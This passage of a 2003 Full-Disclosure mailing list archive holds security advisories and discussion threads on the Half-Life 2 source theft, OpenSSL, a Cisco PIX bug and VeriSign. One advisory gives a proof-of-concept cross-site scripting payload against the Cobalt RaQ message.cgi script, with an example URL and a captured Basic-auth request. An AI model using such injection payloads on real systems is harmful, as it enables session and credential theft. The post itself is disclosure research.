src/sys/miscfs/procfs/procfs_rlimit.c 1.5.6.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.3.4.2 src/sys/sys/uio.h 1.11.6.1 RELENG_4_3 src/UPDATING 1.73.2.28.2.41 src/sys/conf/newvers.sh 1.44.2.14.2.31 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.5.2.1 src/sys/kern/kern_subr.c 1.31.4.1 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.1.2.2 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.1.2.2 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.1.2.2 src/sys/miscfs/procfs/procfs_rlimit.c 1.5.4.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.3.2.2 src/sys/sys/uio.h 1.11.4.1 - ------------------------------------------------------------------------- VII. References -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQE/fYXyFdaIBMps37IRArbkAJ4qv/N215x61BW2NTyl6e4WY/DGLACgirQd evgz6IOFh0L8fLRBHjbKO4A= =Np7P -----END PGP SIGNATURE----- _______________________________________________ freebsd-security-notifications at freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org" From rbrown at doitt.nyc.gov Fri Oct 3 15:55:53 2003 From: rbrown at doitt.nyc.gov (Brown, Rodrick) Date: Fri, 3 Oct 2003 10:55:53 -0400 Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit Message-ID: <80426B8F561BD046978B885791E2CA28E6CA77@DOITTMAIL01.doitt.nycnet> This is really sad there development network under all circumstances should not be connected to the internet. This is just lapse security on Valves part. Most big development shops have too workstations on separate networks just for this reason one network will be used for development only and the other for email/internet etc.. -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Thor Larholm Sent: Friday, October 03, 2003 4:20 AM To: ntbugtraq at listserv.ntbugtraq.com Cc: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit http://www.halflife2.net/forums/showthread.php?s=e6e7d0ce0abe19997425ef5 0fa7fe1df&threadid=10692 Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher http://pivx.com/larholm/unpatched - 31 Unpatched IE Security Vulnerabilities _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From Tim.Saunders at aquilauk.co.uk Fri Oct 3 16:02:12 2003 From: Tim.Saunders at aquilauk.co.uk (Tim Saunders) Date: Fri, 3 Oct 2003 16:02:12 +0100 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online Message-ID: <081A08701BD5BA46ACEE07E9D8A60F873E8B6B@troy.win.aquilauk.co.uk> So what happens if you take a Windows XP laptop on a business trip outside the US? Are you in breach of the EULA if you take the install CD with you? Or are you in breach for simply taking the laptop with Windows installed on it? Tim Saunders > -----Original Message----- > From: Rob Lewis [mailto:roblewis963 at hotmail.com] > Sent: 03 October 2003 14:40 > To: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] OT: Hamilton v. Microsoft > lawsuit complaint is now online > > > OK, M$ has been reported to have modified the EULA and export > license agreement : > > The SOFTWARE is intended for distribution only in the United > States (Excluding California), its territories and > possessions (including Puerto Rico, Guam, and U.S. Virgin > Islands), and Canada. Export of the SOFTWARE from the United > States or to the state of California is regulated under "EI > controls" of the Export Administration Regulations (EAR, 15 > CFR 730-744) of the U.S. Commerce Department, Bureau of > Export Administration (BXA). A license is required to export > the SOFTWARE outside the United States or to the state of California. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From security at guardiandigital.com Fri Oct 3 15:46:11 2003 From: security at guardiandigital.com (EnGarde Secure Linux) Date: Fri, 3 Oct 2003 10:46:11 -0400 (EDT) Subject: [Full-Disclosure] [ESA-20031003-028] Potential OpenSSL DoS. Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +------------------------------------------------------------------------+ | Guardian Digital Security Advisory October 03, 2003 | | http://www.guardiandigital.com ESA-20031003-028 | | | | Packages: openssl, openssl-misc | | Summary: potential DoS. | +------------------------------------------------------------------------+ EnGarde Secure Linux is an enterprise class Linux platform engineered to enable corporations to quickly and cost-effectively build a complete and secure Internet presence while preventing Internet threats. OVERVIEW - -------- Patrik Hornik discovered a remotely exploitable denial of service attack in OpenSSL's SSLv2 server code. This update fixes this vulnerability. Please note that this OpenSSL issue is different from the one addressed in ESA-20031003-028. Guardian Digital products affected by this issue include: EnGarde Secure Community v1.0.1 EnGarde Secure Professional v1.1 EnGarde Secure Professional v1.2 It is recommended that all users apply this update as soon as possible. SOLUTION - -------- Guardian Digital Secure Network subscribers may automatically update affected systems by accessing their account from within the Guardian Digital WebTool. To modify your GDSN account and contact preferences, please go to: https://www.guardiandigital.com/account/ Below are MD5 sums for the updated EnGarde Secure Linux 1.0.1 packages: Source Packages: SRPMS/openssl-0.9.6-1.0.21.src.rpm MD5 Sum: 8e6a1f311a9e12b983438465dfe859f9 Binary Packages: i386/openssl-0.9.6-1.0.21.i386.rpm MD5 Sum: 89aa800d466cfd03d3936c983da1a84f i386/openssl-devel-0.9.6-1.0.21.i386.rpm MD5 Sum: d177ce1151ba9badb399e8171f6ff8c8 i386/openssl-misc-0.9.6-1.0.21.i386.rpm MD5 Sum: 016e4a3d6d1ef64feb8c59845c815611 i686/openssl-0.9.6-1.0.21.i686.rpm MD5 Sum: f0cfae60fda9b7017e8fb602167a6b78 i686/openssl-devel-0.9.6-1.0.21.i686.rpm MD5 Sum: e93c627149f402f5878069d90f948401 i686/openssl-misc-0.9.6-1.0.21.i686.rpm MD5 Sum: 66fe4fb8898543a7be2a94ef44ffda43 REFERENCES - ---------- Guardian Digital's public key: http://ftp.engardelinux.org/pub/engarde/ENGARDE-GPG-KEY OpenSSL's Official Web Site: http://www.openssl.org/ Guardian Digital Advisories: http://infocenter.guardiandigital.com/advisories/ Security Contact: security at guardiandigital.com - -------------------------------------------------------------------------- Author: Ryan W. Maple Copyright 2003, Guardian Digital, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD4DBQE/fYu6HD5cqd57fu0RAqtAAJ9oNEV47v35KtnOTBIEU1gLhZKmaACXYM3Y tqTdlgMwse586Q82WYKHJQ== =3UvT -----END PGP SIGNATURE----- ------------------------------------------------------------------------ To unsubscribe email engarde-security-request at engardelinux.org with "unsubscribe" in the subject of the message. Copyright(c) 2003 Guardian Digital, Inc. GuardianDigital.com ------------------------------------------------------------------------ From joost at pine.nl Thu Oct 2 17:43:14 2003 From: joost at pine.nl (Joost Pol) Date: Thu, 2 Oct 2003 18:43:14 +0200 Subject: [Full-Disclosure] PINE-CERT-20030902: Integer Overflow in FreeBSD Kernel [uio] Message-ID: <20031002164314.GA17275@atro.pine.nl> A non-text attachment was scrubbed... Name: msg.pgp Type: application/pgp Size: 3862 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/4eb949ba/attachment-0001.bin From lorenzohgh at nsrg-security.com Fri Oct 3 16:06:11 2003 From: lorenzohgh at nsrg-security.com (Lorenzo Hernandez Garcia-Hierro) Date: Fri, 3 Oct 2003 17:06:11 +0200 Subject: [Full-Disclosure] Sun Cobalt RaQ Control Panel Multiple Vulnerabilities Message-ID: <006501c389bf$e89df250$050010ac@rootserver> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sun Cobalt RaQ Control Panel Multiple Vulnerabilities - ------ PRODUCT: Cobalt RaQ Web Control Panel VENDOR: Sun - Cobal Networks VULNERABLE VERSIONS: - Sun Cobalt RaQ Servers Web Control Panel (T.I.N.P) - Tested in a default configurated Sun Cobalt RaQ server. control panel - Sun Cobalt servers using the web based control panel(T.I.N.P) - Sun Cobalt RaQ 550 Server Appliance - --------------------- N.TED = Not Tested in a Real Site / Production Site T.I.N.P = Tested in Non Production Environment ____________ Description: Sun Cobalt RaQ 550 server appliance integrates the hardware, software, database and development tools needed to deploy applications extremely quickly without any prior server experience. - --------------------------------------------- |SECURITY HOLES FOUND and PROOFS OF CONCEPT:| - --------------------------------------------- I found XSS vulnerabilities in the web based Control Panel of Cobalt RaQ Servers , with this hole you can try to get the target user information trough the cgi script called message.cgi by including script code in the info= variable value. The script is used for the output of system and control messages like help messages ( "hints" of rollovers for help the user about things of the control panel ) . In addition the ssl support is not enabled for the control panel of users. Cobalt Servers are possible affected by the last security hole found in OpenSSL. - --------- | XSS | - --------- Using the following encoded script: %3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E And accessing a vulnerable control panel of a Cobalt RaQ server pointing this address: HTTP://[HOST NAME / DOMAIN]:[PORT: 81 ]/cgi-bin/.cobalt/message/message.cgi?info=[SCRIPT / XSS CODE] A working demo of this can be : http://w-0.h2oformum.foo:81/cgi-bin/.cobalt/message/message.cgi?info=% 3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E This will include the %3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E code in the output and when the web browser executes it you get a message box: - ----JavaScript Application---- | XSS ! | - ------------------------------ Thats all , simple and fast but Control Panel doesn't use cookies for keep the passwords , this can be used for get the domain cookies if it is used by other applications,although it is a security hole because it demonstrates that the message.cgi script does not have an input validation system. - --------------------------------- | SSL SUPPORT NOT PRESENT IN CP | - --------------------------------- I observed that the ssl support is not enabled for the web server running the control panel ( default webserver of cobalt raq control panel ) but the banner is this: Server: Apache/1.3.20 Sun Cobalt (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6b mod_auth_pam_external/0.1 mod_perl/1.25 You can try to access but you get nothing ( error connecting ). Yhis is a problem because it uses basic auth and if some body get this: GET /.cobalt/siteManage/www.blah.com/ HTTP/1.1 Host: tobeornottobeavulnerablehost.foo:81 User-Agent: Mozilla/5.0 Mozilla Firebird/0.6.1 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pl ain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cache-Control: max-age=0, max-age=0 Authorization: Basic dGVzdDp0ZXN0 HTTP/1.x 200 OK Date: Fri, 03 Oct 2003 13:37:54 GMT Server: Apache/1.3.20 Sun Cobalt (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6b mod_auth_pam_external/0.1 mod_perl/1.25 Keep-Alive: timeout=300 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Look at Authorization: Basic dGVzdDp0ZXN0 , it is base64 encoded , decoded value is: test:test - ------------------------------ | LAST OPENSSL SECURITY HOLE | - ------------------------------ I think that the version that i checked is affected by the last OpenSSL security hole. I haven't tested this but the OpenSSL version is included in the vulnerable versions range. - ----------------- | VENDOR STATUS | - ----------------- Ok -> Warned / Contacted (security-alert at sun.com) --------------- | CONTACT | - ----------- Lorenzo Hernandez Garcia-Hierro - ---Security Consultant--- - --------NSRGroup--------- PGP: Keyfingerprint B6D7 5FCC 78B4 97C1 4010 56BC 0E5F 2AB2 ID: 0x9C38E1D7 ********************************** NSRGroup ( No Secure Root Group Security Research ) http://www.nsrg-security.com ______________________ -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBP31yeM67KCZLTCg+EQKedwCfe3fYJc8RTu7zCLgLr3IeKbeSrboAnjr9 dWLLVKPOQmlkBiENkvF9T7SB =uvuK -----END PGP SIGNATURE----- From madsaxon at direcway.com Fri Oct 3 16:26:49 2003 From: madsaxon at direcway.com (madsaxon) Date: Fri, 03 Oct 2003 10:26:49 -0500 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online Message-ID: <5.0.0.25.2.20031003102342.0496e6a0@pop3.direcway.com> At 09:31 AM 10/3/03 -0500, Schmehl, Paul L wrote: >We have a long established tradition in America of rooting for the >little guy....until he becomes big and successful. Then we hate him and >do everything we can to tear him down and destroy him. And since we've >mastered the art of litigation, that's the easiest way to transfer his >winnings to the lawyers. :-) And therein lies a fundamental truth: Capitalism is the art of redistributing wealth from the consumer to the legal profession via intermediaries we call "businesses" and "governments." m5x From DaveHowe at cmn.sharp-uk.co.uk Fri Oct 3 16:36:30 2003 From: DaveHowe at cmn.sharp-uk.co.uk (Dave Howe) Date: Fri, 3 Oct 2003 16:36:30 +0100 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online References: <871080DEC5874D41B4E3AFC5C400611E03F60C1F@UTDEVS02.campus.ad.utdallas.edu> Message-ID: <027001c389c6$4bc35bd0$c71121c2@exchange.sharpuk.co.uk> > Jeroen Massar [mailto:jeroen at unfix.org] wrote: > Quite offtopic. But what I still wonder is why the heck one > isn't allowed to do business and become large. Is it all > jealousy? If they where so bad why do they get the revenue > and not your company producing super duper software? Its not quite that bad (although the way the US government tends to bend the rules in favour of big political contributors is well known, and leaning the other way a bit just restores balance). Once a company gets more than a certain amount of market share, it has the ability to influence that market (and related markets) simply because you *must* use their products to interact with other users - IF (and only if) they can prevent other manufacturers in the same market from interacting cleanly and/or keep changing their "standards" so competitors gain a tarnish of "if you go with them, you will have to wait for a few weeks every time the standard changes while they catch up, and that could cost you business". Because that is true, it is bad for users in general for the company to be able to do this - if you *must* use their product to compete, they can charge whatever they like for that product and/or force you to buy their *other* product (in a market where they aren't currently strong) in order to obtain the product you need. This means making illegal for a company in such a position some tactics that are perfectly legal for their competitors (who aren't in that position) as you can always dump the competitors if you don't like their terms. To use an analogy - if there are a number of competing road owners, it is in all their interests to allow cars from other roads onto their own roads (and for cars from their roads to be able to travel on other owners). If more than half the roads are owned by one company, it is in the interests of that company to stop allowing traffic to and from one (any one) of the other owners . It is also in the interest of that company to buy up or form "strategic partnerships" with (ie, get agreement from them to do what they are told) smaller road owners, possibly at the same time as threatening to cut them off from the majority of the road network and cars if they don't play ball. At some point also the road owner can think about getting into the car and car fuel markets - knowing he can leverage "correct" decisions about which car to buy or which fuel to use by initially making his roads more hostile to other people's products, and finally by insisting you buy their choice of car/fuel or you won't be allowed to be a customer of their road..... From randnut at yahoo.com Fri Oct 3 17:07:55 2003 From: randnut at yahoo.com (random nut) Date: Fri, 3 Oct 2003 09:07:55 -0700 (PDT) Subject: [Full-Disclosure] EartStation 5 P2P application contains malicious code In-Reply-To: <3F7D8908.109@onryou.com> Message-ID: <20031003160755.3926.qmail@web60106.mail.yahoo.com> --- Cael Abal wrote: > Excellent job finding and documenting this feature. As for the > developers' motivations, though, I don't think it's necessary to point > at colusion with the RIAA/MPAA. > > In all honesty, I'm surprised we haven't seen *more* backdoors of this > type in various popular closed-source, network-aware apps. I don't > condone it, but I understand the mentality: "Our network, our rules." > Really, all it takes is one rogue developer, coupled with insufficient > code review. > > What does surprise me is that you report only delete functionality and > not read/write. If I was going to the trouble to implement naughty > features into an app like ES5, that'd be my priority. > > All this does is reinforce the value of independent code auditing > (insert various pro-open-source comments here). FYI, they have now uploaded a new ES5 installer. I haven't installed it but you can be pretty sure that they have removed their malicious code and will soon claim I lied all along. See my original post for the MD5 sums of the tested programs (builds 1266 and build 2180). __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com From se_cur_ity at hotmail.com Fri Oct 3 17:13:05 2003 From: se_cur_ity at hotmail.com (morning_wood) Date: Fri, 3 Oct 2003 21:43:05 +0530 Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit References: <80426B8F561BD046978B885791E2CA28E6CA77@DOITTMAIL01.doitt.nycnet> Message-ID: at least Valve is being adult about it and admitting it, I applaud them on plublicly stating the facts and risking ( oh yes ) CORPORATE embarasement. I hope this sets a new trend. Donnie Werner CTO e2 Labs http://e2-labs.com morning_wood at e2-labs.com From andy at digitalindustry.org Fri Oct 3 17:13:30 2003 From: andy at digitalindustry.org (Andy Wood) Date: Fri, 3 Oct 2003 12:13:30 -0400 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online Message-ID: <200310031622.h93GM0h04744@comet.hrhost.net> Do you know the definition of export? I don't think so. "The SOFTWARE is intended for distribution..." As a software provider you should understand these terms. -----Original Message----- From: Tim Saunders [mailto:Tim.Saunders at aquilauk.co.uk] Sent: Friday, October 03, 2003 11:02 AM To: Rob Lewis; full-disclosure at lists.netsys.com So what happens if you take a Windows XP laptop on a business trip outside the US? Are you in breach of the EULA if you take the install CD with you? Or are you in breach for simply taking the laptop with Windows installed on it? Tim Saunders > -----Original Message----- > From: Rob Lewis [mailto:roblewis963 at hotmail.com] > Sent: 03 October 2003 14:40 > To: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit > complaint is now online > > > OK, M$ has been reported to have modified the EULA and export license > agreement : > > The SOFTWARE is intended for distribution only in the United States > (Excluding California), its territories and possessions (including > Puerto Rico, Guam, and U.S. Virgin Islands), and Canada. Export of the > SOFTWARE from the United States or to the state of California is > regulated under "EI controls" of the Export Administration Regulations > (EAR, 15 CFR 730-744) of the U.S. Commerce Department, Bureau of > Export Administration (BXA). A license is required to export the > SOFTWARE outside the United States or to the state of California. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.522 / Virus Database: 320 - Release Date: 9/29/2003 From smcmahon at eiv.com Fri Oct 3 17:11:39 2003 From: smcmahon at eiv.com (Shawn McMahon) Date: Fri, 3 Oct 2003 12:11:39 -0400 Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit In-Reply-To: <80426B8F561BD046978B885791E2CA28E6CA77@DOITTMAIL01.doitt.nycnet> References: <80426B8F561BD046978B885791E2CA28E6CA77@DOITTMAIL01.doitt.nycnet> Message-ID: <20031003161139.GA30579@eiv.com> On Fri, Oct 03, 2003 at 10:55:53AM -0400, Brown, Rodrick said: > Valves part. Most big development shops have too workstations on > separate networks just for this reason one network will be used for > development only and the other for email/internet etc.. "most"? Source, please; in my limited personal experience, most don't. As with most other businesses, they assume firewall == impenetrable. Many don't even keep offsite backups of the source code. -- Shawn McMahon | Let every nation know, whether it wishes us well or ill, EIV Consulting | that we shall pay any price, bear any burden, meet any UNIX and Linux | hardship, support any friend, oppose any foe, to assure http://www.eiv.com| the survival and the success of liberty. - JFK -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/7d7cb40b/attachment.bin From caferace at well.com Fri Oct 3 17:44:49 2003 From: caferace at well.com (J. Race) Date: Fri, 03 Oct 2003 09:44:49 -0700 Subject: [Full-Disclosure] ICANN is officially pissed off Message-ID: <3F7DA781.2040007@well.com> http://www.icann.org/correspondence/twomey-to-lewis-03oct03.htm "Given the magnitude of the issues that have been raised, and their potential impact on the security and stability of the Internet, the DNS and the .com and .net top level domains, VeriSign must suspend the changes to the .com and .net top-level domains introduced on 15 September 2003 by 6:00 PM PDT on 4 October 2003. Failure to comply with this demand by that time will leave ICANN with no choice but to seek promptly to enforce VeriSign's contractual obligations." -jim From Valdis.Kletnieks at vt.edu Fri Oct 3 17:48:48 2003 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 03 Oct 2003 12:48:48 -0400 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online In-Reply-To: Your message of "Fri, 03 Oct 2003 08:40:19 CDT." References: <014101c38997$67f78e90$210d640a@unfix.org> Message-ID: <200310031648.h93Gmmqd021799@turing-police.cc.vt.edu> On Fri, 03 Oct 2003 08:40:19 CDT, Rob Lewis said: > OK, M$ has been reported to have modified the EULA and export license > agreement : Citation? > The SOFTWARE is intended for distribution only in the United States > (Excluding California) Do you *really* think that Microsoft would cut off all California sales of their product because a lawsuit was *FILED*? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/ff90d561/attachment.bin From rodrigob at suespammers.org Fri Oct 3 17:56:56 2003 From: rodrigob at suespammers.org (Rodrigo Barbosa) Date: Fri, 3 Oct 2003 13:56:56 -0300 Subject: [Full-Disclosure] Has Verisign time arrived ? Message-ID: <20031003165656.GG2467@suespammers.org> Looks like ICANN has decided it was time to pick a fight, and now Verisign has 36 hours to turn sitefinder off or be sued. http://www.icann.org/announcements/advisory-03oct03.htm -- Rodrigo Barbosa "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/469026e0/attachment.bin From mole at morris.net Fri Oct 3 17:44:21 2003 From: mole at morris.net (Paul J. Morris) Date: Fri, 3 Oct 2003 12:44:21 -0400 Subject: [Full-Disclosure] Class-action suit points to Microsoft security flaws In-Reply-To: <018f01c3891e$01cf4190$550ffea9@rms> References: <018f01c3891e$01cf4190$550ffea9@rms> Message-ID: <20031003124421.10a95492.mole@morris.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thu, 2 Oct 2003 15:47:26 -0400 "Richard M. Smith" wrote: > Class-action suit points to Microsoft security flaws > http://news.com.com/2100-1009-5085730.html > The lawsuit, filed Tuesday in Los Angeles Superior Court, > also claims that Microsoft's security warnings are too complex to be > understood by the general public and serve instead to > tip off "fast-moving" hackers on how to exploit flaws in its operating > system. Rather disturbing. Much as I approve of the rest of the complaint, it sounds like amicus curiae briefs from the security community are needed in support of Microsoft on this particular issue. I find Microsoft security warnings to usually be not detailed enough and generaly rely on the rest of the security community for workarounds and information and tools to verify whether Microsoft's patches have actually resolved a problem. This list is indeed based on the principle that full disclosure of the details of vulnerabilities is fundamental to maintaining secure systems. - -Paul - ------------- Paul J. Morris mole at morris.net Biodiversity Information Manager, The Academy of Natural Sciences 1900 Ben Franklin Parkway, Philadelphia PA, 19103, USA -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE/fab+eqkk3tLUswERAqOpAJ0fl41FF2/M36+jXx6Q4kT1w67YMQCghhGC pV4NIfpuETQ8JfLAq0ipKBo= =PsWF -----END PGP SIGNATURE----- From nick at virus-l.demon.co.uk Fri Oct 3 18:59:17 2003 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Sat, 04 Oct 2003 05:59:17 +1200 Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit In-Reply-To: <80426B8F561BD046978B885791E2CA28E6CA77@DOITTMAIL01.doitt.nycnet> Message-ID: <3F7E61B5.22783.D9AA286@localhost> "Brown, Rodrick" wrote: > This is really sad there development network under all circumstances > should not be connected to the internet. This is just lapse security on > Valves part. Most big development shops have too workstations on > separate networks just for this reason one network will be used for > development only and the other for email/internet etc.. Indeed. How much worse that instead of stealing the source and publicly posting it, the attacker had simply inserted a few backdoors into the code and checked that into the CVS? Given that Valve is as careless about security as to alow the theft to happen, have you any confidence they would detect such a change anytime soon? -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3529854 From itemir at cisco.com Fri Oct 3 19:21:14 2003 From: itemir at cisco.com (Ilker Temir) Date: Fri, 03 Oct 2003 20:21:14 +0200 Subject: [Full-Disclosure] Potential denial of service bug in Cisco Pix Firewall IOS 6.2.2 a nd 6.3.(3.102) In-Reply-To: <9B66BBD37D5DD411B8CE00508B69700F033F2FFD@pborolocal.rnib.org.uk> References: <9B66BBD37D5DD411B8CE00508B69700F033F2FFD@pborolocal.rnib.org.uk> Message-ID: <3F7DBE1A.60203@cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is in response to the e-mail posted by John Airey. The original e-mail is available at http://lists.netsys.com/pipermail/full-disclosure/2003-October/011356.html Hi John, Cisco's Product Security Incident Response Team (PSIRT) was not previously aware of this issue. Thank you for bringing it to our attention. Cisco bug ID CSCec47609 has been opened to investigate this issue. We have updated the Security Notice about the "Nachi Worm Mitigation Recommendations" (http://www.cisco.com/warp/public/707/cisco-sn-20030820-nachi.shtml) to reflect this information. We are always open for vulnerability reports regarding any Cisco products. Such reports can be directly sent to us at psirt at cisco.com or to security-alert at cisco.com in case of an emergency. Best regards, Ilker John.Airey at rnib.org.uk wrote: | Brief Description | ----------------- | | Users of Cisco Pix Firewalls may discover that their pool of NAT'ted IP | addresses is running out, and that a reboot or reload of the firewall clears | the problem. | | Details | ------- | | The problem is caused by the Firewall being swamped by incoming ICMP packets | on the global pool IP addresses. If these are not intercepted by a router | beforehand, the incoming echo requests (that are emanating from | Nachi/Welchia worm infected machines) are preventing the release of the | address translation. ie, the Pix is detecting the blocked traffic as | indication that the translation is still in use. | | I believe that this bug also affects the recent security update version | 6.3(3.102) detailed at | www.cisco.com/en/US/tech/tk583/tk618/technologies_security_advisory09186a008 | 01c5975.shtml. | | I have been unable (and unwilling) to test this, but given that a permanent | fix is being worked on it is undoubtedly the case. | | Workaround | ---------- | | For those who are unable to block incoming ICMP echo requests at their | router (for whatever reason), Cisco have sent me the following details: | | "1- use PAT (a global pool with a single entry) this way although the xlate | will remain up but all your internal hosts will be multiplexed over this pat | address. single pat address can accomodate in theory 65535 connections. | however this might break un-PATable traffic | | 2- use statics for your important servers that need NAT (1 to 1 mapping) | | 3- also instead of rebooting the whole pix you can simply log into it and do | "clear xlate" this will clear all translations." | | It should be pointed out that "2" is not a solution to this problem. The | others are not ideal either. | | Permanent fix | ------------- | | I have been informed that Cisco are aware of this and that a bug fix is | being worked on. | | Other | ----- | | I am releasing this notification as there may well be system adminstrators | who are still suffering from this problem. Specifically the release of this | information cannot lead to any further attacks against systems that are | already affected. | | Unfortunately Cisco have not updated their information regarding mitigation | against the Nachi/Welchia worm at | www.cisco.com/en/US/products/sw/voicesw/ps556/products_tech_note09186a00801b | 143a.shtml | | The mitigation information only covers outgoing connections. I have asked | Cisco for a fix to for this twice, and at present I am still waiting for a | resolution to my second request. | | Apologies for the evil Outlook word-wrapping, which may render URLs above | useless. | | Please be kind to me. This is my first security vulnerability I've ever | posted. | | - | John Airey, BSc (Jt Hons), CNA, RHCE | Internet systems support officer, ITCSD, Royal National Institute of the | Blind, | Bakewell Road, Peterborough PE2 6XU, | Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848 John.Airey at rnib.org.uk | | Our world is intolerant, and always will be. We kid ourselves when we think | that those who have different values can tolerate each other. | | | - | DISCLAIMER: | | NOTICE: The information contained in this email and any attachments is | confidential and may be privileged. If you are not the intended | recipient you should not use, disclose, distribute or copy any of the | content of it or of any attachment; you are requested to notify the | sender immediately of your receipt of the email and then to delete it | and any attachments from your system. | | RNIB endeavours to ensure that emails and any attachments generated by | its staff are free from viruses or other contaminants. However, it | cannot accept any responsibility for any such which are transmitted. | We therefore recommend you scan all attachments. | | Please note that the statements and views expressed in this email and | any attachments are those of the author and do not necessarily represent | those of RNIB. | | RNIB Registered Charity Number: 226227 | | Website: http://www.rnib.org.uk | | _______________________________________________ | Full-Disclosure - We believe in it. | Charter: http://lists.netsys.com/full-disclosure-charter.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE/fb4Z8/wE0ppYtwURAgW4AJ9aqTn9EKSkckykitdhrLcDFVV2mwCcDJty 2zYqJsoln8xkt0VikUllr6c= =hKKK -----END PGP SIGNATURE----- From se_cur_ity at hotmail.com Fri Oct 3 19:38:47 2003 From: se_cur_ity at hotmail.com (morning_wood) Date: Sat, 4 Oct 2003 00:08:47 +0530 Subject: [Full-Disclosure] Visualroute Server - reverse tracerouting References: <3F7C8EEB.2090904@science.org> Message-ID: as a side note.. any service that offers "remote traceroute" functions such as AT&T's Spy Glass, many PHP frontend sites as well as most polular perl/cgi scripts. ( traceroute.pl ) Donnie Werner CTO e2-labs.com From frank at knobbe.us Fri Oct 3 21:07:30 2003 From: frank at knobbe.us (Frank Knobbe) Date: Fri, 03 Oct 2003 15:07:30 -0500 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <20031003165656.GG2467@suespammers.org> References: <20031003165656.GG2467@suespammers.org> Message-ID: <1065211650.506.30.camel@localhost> On Fri, 2003-10-03 at 11:56, Rodrigo Barbosa wrote: > Looks like ICANN has decided it was time to pick a fight, and > now Verisign has 36 hours to turn sitefinder off or be sued. > > http://www.icann.org/announcements/advisory-03oct03.htm By the time this arrives, others will probably have posted the same. Knowing that I might clog up the list with me-too's, I believe it's important enough to share over and over again. Here it is, straight from NANOG... -----Forwarded Message----- From: Tim Wilde To: nanog at merit.edu Subject: VeriSign Capitulates Date: Fri, 03 Oct 2003 15:44:26 -0400 http://www.washingtonpost.com/wp-dyn/articles/A40241-2003Oct3.html And they act like they're the victims. Amazing. "Without so much as a hearing, ICANN today formally asked us to shut down the Site Finder service," said VeriSign spokesman Tom Galvin. "We will accede to their request while we explore all of our options." How about a public outcry? Did you miss that part? You don't deserve a hearing. Of course, they haven't removed the wildcard yet: dig is-it-gone-yet.com. @a.gtld-servers.net. +short 64.94.110.11 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/4b7db202/attachment.bin From gui at goddessmoon.org 